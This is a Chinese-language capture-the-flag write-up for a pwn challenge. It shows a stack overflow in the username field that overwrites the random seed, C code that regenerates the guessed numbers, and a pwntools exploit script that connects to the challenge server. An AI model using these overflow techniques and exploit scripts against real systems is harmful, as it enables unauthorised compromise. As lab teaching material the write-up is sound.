原题地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1
如图,程序为64位ELF文件
安全机制全部开启,不太可能是注入地址
程序的功能为输入用户名,之后猜10个数,全部猜对可以获取flag
main函数用户名存在注入点
查看栈结构可以发现用户名可以覆盖随机数种子
构造输入:b"A"*(0x20)+p32(0),随机数种子为0
以相同的种子srand(0)生成10个随机数
#include <stdio.h>
#include <stdlib.h>
int main()
{
srand(0);
int i=0;
for (i=0;i<=9;i++)
printf("%d",rand()%6+1);
return(0);
}
随机数为:
最终代码如下,注意sendline相关函数需要以str类型送过去:
from pwn import *
host = '111.200.241.244'
port = 61993
p = connect(host, port)
#p=process("./b59204f56a0545e8a22f8518e749f19f")
payload = b"A"*(0x20)+p32(0)
num=[2,5,4,2,6,2,5,1,4,2]
p.sendline(payload)
for i in num:
p.sendlineafter("Please input your guess number:",str(i))
p.interactive()
如图,成功猜出10个数,获取flag